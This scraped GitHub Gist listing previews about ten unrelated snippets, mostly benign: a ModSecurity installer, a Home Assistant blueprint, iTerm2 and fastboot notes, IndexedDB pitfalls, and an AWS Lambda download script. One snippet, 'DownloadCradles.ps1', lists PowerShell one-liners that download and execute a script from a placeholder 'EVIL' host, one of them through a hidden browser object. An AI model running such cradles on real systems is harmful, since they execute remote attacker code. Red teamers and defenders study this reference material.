Skip to content

Instantly share code, notes, and snippets.

@nderkach
nderkach / recognizer.py
Last active May 21, 2024 16:38
Facebook photo upload and photo tagging
#!/usr/bin/env python
import requests
import re
import urllib.parse
import sys, os
import json
from requests_toolbelt import MultipartEncoder
BASE_URL = 'https://mbasic.facebook.com'
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active May 21, 2024 16:36
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@moebius5
moebius5 / libModSecurity.sh
Last active May 21, 2024 16:33 — forked from chetanppatil/libModSecurity.sh
Install and enable libModSecurity for your Nginx (Ubuntu 20.04 tested)
##
# ModSecurity NGINX INSTALLATION SCRIPT
##
# Install Prerequisite Packages
echo "Install Prerequisite Packages";
sudo apt-get install -y apt-utils autoconf automake build-essential git libcurl4-openssl-dev libgeoip-dev liblmdb-dev libpcre++-dev libtool libxml2-dev libyajl-dev pkgconf wget zlib1g-dev
OPT_DIR=/opt
NGINX_DIR=/etc/nginx
@trilorian
trilorian / ikea-rodret_E2201_ZHA.yaml
Last active May 21, 2024 16:33 — forked from damru/ikea-rodret_E2201_ZHA-Z2M_control-anything.yaml
IKEA RODRET Dimmer Remote (E2201) - ZHA
blueprint:
name: IKEA Rodret Dimmer
description: "## IKEA RODRET Dimmer remote (v1.2)
Only for use with [ZHA](https://www.home-assistant.io/integrations/zha/)
Available controls:
@MrHallows
MrHallows / fastboot_help.md
Last active May 21, 2024 16:30
fastboot commands

Command:

$ fastboot help

Output:

usage: fastboot [OPTION...] COMMAND...

flashing:
@squarism
squarism / iterm2.md
Last active May 21, 2024 16:30
An iTerm2 Cheatsheet

Tabs and Windows

Function Shortcut
New Tab + T
Close Tab or Window + W (same as many mac apps)
Go to Tab + Number Key (ie: ⌘2 is 2nd tab)
Go to Split Pane by Direction + Option + Arrow Key
Cycle iTerm Windows + backtick (true of all mac apps and works with desktops/mission control)
@pesterhazy
pesterhazy / indexeddb-problems.md
Last active May 21, 2024 16:29
The pain and anguish of using IndexedDB: problems, bugs and oddities

This gist lists challenges you run into when building offline-first applications based on IndexedDB, including open-source libraries like Firebase, pouchdb and AWS amplify (more).

Note that some of the following issues affect only Safari. Out of the major browsers, Chrome's IndexedDB implementation is the best.

Backing file on disk (WAL file) keeps growing (Safari)

When this bug occurs, every time you use the indexeddb, the WAL file grows. Garbage collection doesn't seem to be working, so after a while, you end up with gigabytes of data.

Random exceptions when working with a large number of indexeddb databases (Safari)

@pesterhazy
pesterhazy / building-sync-systems.md
Last active May 21, 2024 16:29
Building an offline realtime sync engine

So you want to write a sync system for a web app with offline and realtime support? Good luck. You might find the following resources useful.

Overview articles

@nemani
nemani / download_all_lambda_functions.sh
Last active May 21, 2024 16:29
Download All Lambda Functions
# Parallelly download all aws-lambda functions
# Assumes you have ran `aws configure` and have output-mode as "text"
# Works with "aws-cli/1.16.72 Python/3.6.7 Linux/4.15.0-42-generic botocore/1.12.62"
download_code () {
local OUTPUT=$1
aws lambda get-function --function-name $OUTPUT --query 'Code.Location' | xargs wget -O ./lambda_functions/$OUTPUT.zip
}
mkdir -p lambda_functions
@kogekiplay
kogekiplay / config.yaml
Last active May 21, 2024 16:28
公开 scp
####################################
# 创建者:v2rayse.com
# 客户端:Clash.Meta
# 创建时间:2023-10-16 11:18:43
# 使用模版:V2RaySE 默认模版
# 节点数量:1
# Stash修改版
####################################
# !!当前配置文件请使用基于 Clash.Meta 内核程序
mixed-port: 7890